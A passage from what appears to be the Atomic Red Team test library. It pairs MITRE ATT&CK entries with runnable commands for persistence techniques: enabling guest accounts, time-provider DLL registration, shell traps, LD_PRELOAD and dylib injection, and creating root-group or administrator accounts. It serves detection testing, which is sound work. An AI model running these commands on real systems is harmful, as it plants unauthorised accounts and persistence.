          net user #{guest_user} /active:no >nul 2>&1
          net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
          if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)
        name: command_prompt
        elevation_required: true
    - name: Activate Guest Account
      auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda
      description: 'The Adversaries can activate the default Guest user. The guest
        account is inactivated by default

        '
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: string
          default: guest
      executor:
        command: 'net user #{guest_user} /active:yes

          '
        cleanup_command: 'net user #{guest_user} /active:no

          '
        name: command_prompt
        elevation_required: true
    - name: Enable Guest Account on macOS
      auto_generated_guid: 0315bdff-4178-47e9-81e4-f31a6d23f7e4
      description: This test enables the guest account on macOS using sysadminctl
        utility.
      supported_platforms:
      - macos
      executor:
        command: sudo sysadminctl -guestAccount on
        cleanup_command: sudo sysadminctl -guestAccount off
        name: sh
        elevation_required: true
  T1547.003:
    technique:
      modified: '2024-04-12T02:34:58.003Z'
      name: Time Providers
      description: |-
        Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)

        Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)

        Adversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey  pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Scott Lundgren, @5twenty9, Carbon Black
      - Harun Küßner
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code> as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)

        The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      type: attack-pattern
      id: attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc
      created: '2020-01-24T15:51:52.317Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/003
        external_id: T1547.003
      - source_name: Github W32Time Oct 2017
        description: Lundgren, S. (2017, October 28). w32time. Retrieved March 26,
          2018.
        url: https://github.com/scottlundgren/w32time
      - source_name: Microsoft W32Time May 2017
        description: Mathers, B. (2017, May 31). Windows Time Service Tools and Settings.
          Retrieved March 26, 2018.
        url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
      - source_name: Microsoft W32Time Feb 2018
        description: Microsoft. (2018, February 1). Windows Time Service (W32Time).
          Retrieved March 26, 2018.
        url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
      - source_name: Microsoft TimeProvider
        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
        url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.003
    atomic_tests:
    - name: Create a new time provider
      auto_generated_guid: df1efab7-bc6d-4b88-8be9-91f55ae017aa
      description: |
        Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
        The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
        in C:\Users\Public\ as validation that the test is successful.

        Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
      supported_platforms:
      - windows
      executor:
        command: |
          net stop w32time
          Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "Enabled" /d "1" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "InputProvider" /d "1" /f
          net start w32time
        cleanup_command: |
          net stop w32time
          reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /f
          rm -force C:\Users\Public\AtomicTest.dll
          net start w32time
        name: powershell
        elevation_required: true
    - name: Edit an existing time provider
      auto_generated_guid: 29e0afca-8d1d-471a-8d34-25512fc48315
      description: |
        Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
        The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
        in C:\Users\Public\ as validation that the test is successful.

        Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
      supported_platforms:
      - windows
      executor:
        command: |
          net stop w32time
          Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "1" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "1" /f
          net start w32time
        cleanup_command: |
          net stop w32time
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Windows\SYSTEM32\w32time.DLL" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "0" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "0" /f
          rm -force C:\Users\Public\AtomicTest.dll
          net start w32time
        name: powershell
        elevation_required: true
  T1546.005:
    technique:
      x_mitre_platforms:
      - macOS
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--63220765-d418-44de-8fae-694b3912317d
      type: attack-pattern
      created: '2020-01-24T14:17:43.906Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1546.005
        url: https://attack.mitre.org/techniques/T1546/005
      - source_name: Trap Manual
        url: https://ss64.com/bash/trap.html
        description: ss64. (n.d.). trap. Retrieved May 21, 2019.
      - source_name: Cyberciti Trap Statements
        url: https://bash.cyberciti.biz/guide/Trap_statement
        description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21,
          2019.
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Event Triggered Execution: Trap'
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.

        Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: Trap commands must be registered for the shell or programs,
        so they appear in files. Monitoring files for suspicious or overly broad trap
        commands can narrow down suspicious behavior during an investigation. Monitor
        for suspicious processes executed through trap interrupts.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1546.005
    atomic_tests:
    - name: Trap EXIT
      auto_generated_guid: a74b2e07-5952-4c03-8b56-56274b076b61
      description: |
        Launch bash shell with command arg to create TRAP on EXIT.
        The trap executes script that writes to /tmp/art-fish.txt
      supported_platforms:
      - macos
      - linux
      executor:
        command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"
          EXIT''

          '
        cleanup_command: 'rm -f /tmp/art-fish.txt

          '
        name: sh
    - name: Trap EXIT (freebsd)
      auto_generated_guid: be1a5d70-6865-44aa-ab50-42244c9fd16f
      description: |
        Launch bash shell with command arg to create TRAP on EXIT.
        The trap executes script that writes to /tmp/art-fish.txt
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if bash is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v bash)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y bash)\n"
      executor:
        command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"
          EXIT''

          '
        cleanup_command: 'rm -f /tmp/art-fish.txt

          '
        name: sh
    - name: Trap SIGINT
      auto_generated_guid: a547d1ba-1d7a-4cc5-a9cb-8d65e8809636
      description: |
        Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.
        The trap executes script that writes to /tmp/art-fish.txt
      supported_platforms:
      - macos
      - linux
      executor:
        command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"
          SIGINT && kill -SIGINT $$''

          '
        cleanup_command: 'rm -f /tmp/art-fish.txt

          '
        name: sh
    - name: Trap SIGINT (freebsd)
      auto_generated_guid: ade10242-1eac-43df-8412-be0d4c704ada
      description: |
        Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.
        The trap executes script that writes to /tmp/art-fish.txt
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if bash is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v bash)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y bash)\n"
      executor:
        command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"
          SIGINT && kill -SIGINT $$''

          '
        cleanup_command: 'rm -f /tmp/art-fish.txt

          '
        name: sh
  T1574.006:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: LD_PRELOAD'
      description: "Adversaries may execute their own malicious payloads by hijacking
        environment variables the dynamic linker uses to load shared libraries. During
        the execution preparation phase of a program, the dynamic linker loads specified
        absolute paths of shared libraries from environment variables and files, such
        as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code>
        on macOS. Libraries specified in environment variables are loaded first, taking
        precedence over system libraries with the same function name.(Citation: Man
        LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic
        Libraries) These variables are often used by developers to debug binaries
        without needing to recompile, deconflict mapped symbols, and implement custom
        functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn
        Linux and macOS, hijacking dynamic linker variables may grant access to the
        victim process's memory, system/network resources, and possibly elevated privileges.
        This method may also evade detection from security products since the execution
        is masked under a legitimate process. Adversaries can set environment variables
        via the command line using the <code>export</code> command, <code>setenv</code>
        function, or <code>putenv</code> function. Adversaries can also leverage [Dynamic
        Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export
        variables in a shell or set variables programmatically using higher level
        syntax such Python’s <code>os.environ</code>.\n\nOn Linux, adversaries may
        set <code>LD_PRELOAD</code> to point to malicious libraries that match the
        name of legitimate libraries which are requested by a victim program, causing
        the operating system to load the adversary's malicious code upon execution
        of the victim program. <code>LD_PRELOAD</code> can be set via the environment
        variable or <code>/etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citation:
        TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are
        loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code>
        respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed
        Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)
        \n\nOn macOS this behavior is conceptually the same as on Linux, differing
        only in how the macOS dynamic libraries (dyld) is implemented at a lower level.
        Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable
        to point to malicious libraries containing names of legitimate libraries or
        functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation:
        Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina
        Bypass) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825
      created: '2020-03-13T20:09:59.569Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/006
        external_id: T1574.006
      - source_name: Man LD.SO
        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
          June 15, 2020.
        url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
      - source_name: TLDP Shared Libraries
        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
          January 31, 2020.
        url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
      - source_name: Apple Doco Archive Dynamic Libraries
        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
          March 24, 2021.
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
      - source_name: Baeldung LD_PRELOAD
        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
          March 24, 2021.
        url: https://www.baeldung.com/linux/ld_preload-trick-what-is
      - source_name: Code Injection on Linux and macOS
        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
          December 20, 2017.'
        url: https://www.datawire.io/code-injection-on-linux-and-macos/
      - source_name: Uninformed Needle
        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
          Retrieved December 20, 2017.
        url: http://hick.org/code/skape/papers/needle.txt
      - source_name: Phrack halfdead 1997
        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
          Retrieved December 20, 2017.
        url: http://phrack.org/issues/51/8.html
      - source_name: Brown Exploiting Linkers
        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
          linker. Retrieved March 29, 2021.'
        url: http://www.nth-dimension.org.uk/pub/BTL.pdf
      - source_name: TheEvilBit DYLD_INSERT_LIBRARIES
        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
          in macOS / OSX. Retrieved March 26, 2020.
        url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
      - source_name: Timac DYLD_INSERT_LIBRARIES
        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
          Retrieved March 26, 2020.
        url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
      - source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
          Mach-O Apps. Part II.. Retrieved March 24, 2021.
        url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1574.006
    atomic_tests:
    - name: Shared Library Injection via /etc/ld.so.preload
      auto_generated_guid: 39cb0e67-dd0d-4b74-a74b-c072db7ae991
      description: "This test adds a shared library to the `ld.so.preload` list to
        execute and intercept API calls. This technique was used by threat actor Rocke
        during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon
        successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload.
        \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

          '
        prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

          '
      executor:
        command: 'sudo sh -c ''echo #{path_to_shared_library} > /etc/ld.so.preload''

          '
        cleanup_command: 'sudo sed -i ''s##{path_to_shared_library}##'' /etc/ld.so.preload

          '
        name: bash
        elevation_required: true
    - name: Shared Library Injection via LD_PRELOAD
      auto_generated_guid: bc219ff7-789f-4d51-9142-ecae3397deae
      description: |
        This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.

        Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout.
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

          '
        prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

          '
      executor:
        command: 'LD_PRELOAD=#{path_to_shared_library} ls

          '
        name: bash
    - name: Dylib Injection via DYLD_INSERT_LIBRARIES
      auto_generated_guid: 4d66029d-7355-43fd-93a4-b63ba92ea1be
      description: 'injects a dylib that opens calculator via env variable

        '
      supported_platforms:
      - macos
      input_arguments:
        file_to_inject:
          description: Path of executable to be injected. Mostly works on non-apple
            default apps.
          type: path
          default: "/Applications/Firefox.app/Contents/MacOS/firefox"
        source_file:
          description: Path of c source file
          type: path
          default: PathToAtomicsFolder/T1574.006/src/MacOS/T1574.006.c
        dylib_file:
          description: Path of dylib file
          type: path
          default: "/tmp/T1574006MOS.dylib"
      dependency_executor_name: bash
      dependencies:
      - description: 'Compile the dylib from (#{source_file}). Destination is #{dylib_file}

          '
        prereq_command: 'gcc -dynamiclib #{source_file} -o #{dylib_file}

          '
        get_prereq_command: 'gcc -dynamiclib #{source_file} -o #{dylib_file}

          '
      executor:
        command: 'DYLD_INSERT_LIBRARIES=#{dylib_file} #{file_to_inject}

          '
        cleanup_command: |
          kill `pgrep Calculator`
          kill `pgrep firefox`
        name: bash
        elevation_required: false
  T1136.001:
    technique:
      modified: '2023-10-16T17:40:37.995Z'
      name: 'Create Account: Local Account'
      description: "Adversaries may create a local account to maintain access to victim
        systems. Local accounts are those configured by an organization for use by
        users, remote support, services, or for administration on a single system
        or service. \n\nFor example, with a sufficient level of access, the Windows
        <code>net user /add</code> command can be used to create a local account.
        On macOS systems the <code>dscl -create</code> command can be used to create
        a local account. Local accounts may also be added to network devices, often
        via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
        commands such as <code>username</code>, or to Kubernetes clusters using the
        `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service
        Accounts Security)\n\nSuch accounts may be used to establish secondary credentialed
        access that do not require persistent remote access tools to be deployed on
        the system."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor for processes and command-line parameters associated
        with local account creation, such as <code>net user /add</code> , <code>useradd</code>
        , and <code>dscl -create</code> . Collect data on account creation within
        a network. Event ID 4720 is generated when a user account is created on a
        Windows system. (Citation: Microsoft User Creation Event) Perform regular
        audits of local system accounts to detect suspicious accounts that may have
        been created by an adversary. For network infrastructure devices, collect
        AAA logging to monitor for account creations.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      - Containers
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'User Account: User Account Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--635cbe30-392d-4e27-978e-66774357c762
      created: '2020-01-28T13:50:22.506Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1136/001
        external_id: T1136.001
      - source_name: cisco_username_cmd
        description: 'Cisco. (2023, March 6). username - Cisco IOS Security Command
          Reference: Commands S to Z. Retrieved July 13, 2022.'
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630
      - source_name: Kubernetes Service Accounts Security
        description: Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.
        url: https://kubernetes.io/docs/concepts/security/service-accounts/
      - source_name: Microsoft User Creation Event
        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
          was created. Retrieved June 30, 2017.'
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1136.001
    atomic_tests:
    - name: Create a user account on a Linux system
      auto_generated_guid: 40d8eabd-e394-46f6-8785-b9bfa1d011d2
      description: 'Create a user via useradd

        '
      supported_platforms:
      - linux
      input_arguments:
        username:
          description: Username of the user to create
          type: string
          default: evil_user
      executor:
        command: 'useradd -M -N -r -s /bin/bash -c evil_account #{username}

          '
        cleanup_command: 'userdel #{username}

          '
        name: bash
        elevation_required: true
    - name: Create a user account on a FreeBSD system
      auto_generated_guid: a39ee1bc-b8c1-4331-8e5f-1859eb408518
      description: 'Create a user via pw

        '
      supported_platforms:
      - linux
      input_arguments:
        username:
          description: Username of the user to create
          type: string
          default: evil_user
      executor:
        command: 'pw useradd #{username} -s /usr/sbin/nologin -d /nonexistent -c evil_account

          '
        cleanup_command: 'rmuser -y #{username}

          '
        name: sh
        elevation_required: true
    - name: Create a user account on a MacOS system
      auto_generated_guid: '01993ba5-1da3-4e15-a719-b690d4f0f0b2'
      description: 'Creates a user on a MacOS system with dscl

        '
      supported_platforms:
      - macos
      input_arguments:
        username:
          description: Username of the user to create
          type: string
          default: evil_user
        realname:
          description: "'realname' to record when creating the user"
          type: string
          default: Evil Account
      executor:
        command: |
          dscl . -create /Users/#{username}
          dscl . -create /Users/#{username} UserShell /bin/zsh
          dscl . -create /Users/#{username} RealName "#{realname}"
          dscl . -create /Users/#{username} UniqueID "1010"
          dscl . -create /Users/#{username} PrimaryGroupID 80
          dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}
        cleanup_command: 'dscl . -delete /Users/#{username}

          '
        name: bash
        elevation_required: true
    - name: Create a new user in a command prompt
      auto_generated_guid: 6657864e-0323-4206-9344-ac9cd7265a4f
      description: |
        Creates a new user in a command prompt. Upon execution, "The command completed successfully." will be displayed. To verify the
        new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_CMD"
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Username of the user to create
          type: string
          default: T1136.001_CMD
        password:
          description: Password of the user to create
          type: string
          default: T1136.001_CMD!
      executor:
        command: 'net user /add "#{username}" "#{password}"

          '
        cleanup_command: 'net user /del "#{username}" >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Create a new user in PowerShell
      auto_generated_guid: bc8be0ac-475c-4fbf-9b1d-9fffd77afbde
      description: |
        Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the
        new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell"
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Username of the user to create
          type: string
          default: T1136.001_PowerShell
      executor:
        command: 'New-LocalUser -Name "#{username}" -NoPassword

          '
        cleanup_command: 'Remove-LocalUser -Name "#{username}" -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Create a new user in Linux with `root` UID and GID.
      auto_generated_guid: a1040a30-d28b-4eda-bd99-bb2861a4616c
      description: 'Creates a new user in Linux and adds the user to the `root` group.
        This technique was used by adversaries during the Butter attack campaign.

        '
      supported_platforms:
      - linux
      input_arguments:
        username:
          description: Username of the user to create
          type: string
          default: butter
        password:
          description: Password of the user to create
          type: string
          default: BetterWithButter
      executor:
        command: |
          useradd -g 0 -M -d /root -s /bin/bash #{username}
          if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi;
        cleanup_command: 'userdel #{username}

          '
        name: bash
        elevation_required: true
    - name: Create a new user in FreeBSD with `root` GID.
      auto_generated_guid: d141afeb-d2bc-4934-8dd5-b7dba0f9f67a
      description: 'Creates a new user in FreeBSD and adds the user to the `root`
        group. This technique was used by adversaries during the Butter attack campaign.

        '
      supported_platforms:
      - linux
      input_arguments:
        username:
          description: Username of the user to create
          type: string
          default: butter
        password:
          description: Password of the user to create
          type: string
          default: BetterWithButter
      executor:
        command: |
          pw useradd #{username} -g 0 -d /root -s /bin/sh
          echo "#{password}" | pw usermod #{username} -h 0
        cleanup_command: 'pw userdel #{username}

          '
        name: sh
        elevation_required: true
    - name: Create a new Windows admin user
      auto_generated_guid: fda74566-a604-4581-a4cc-fbbe21d66559
      description: 'Creates a new admin user in a command prompt.

        '
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Username of the user to create
          type: string
          default: T1136.001_Admin
        password:
          description: Password of the user to create
          type: string
          default: T1136_pass
      executor:
        command: |
          net user /add "#{username}" "#{password}"
          net localgroup administrators "#{username}" /add
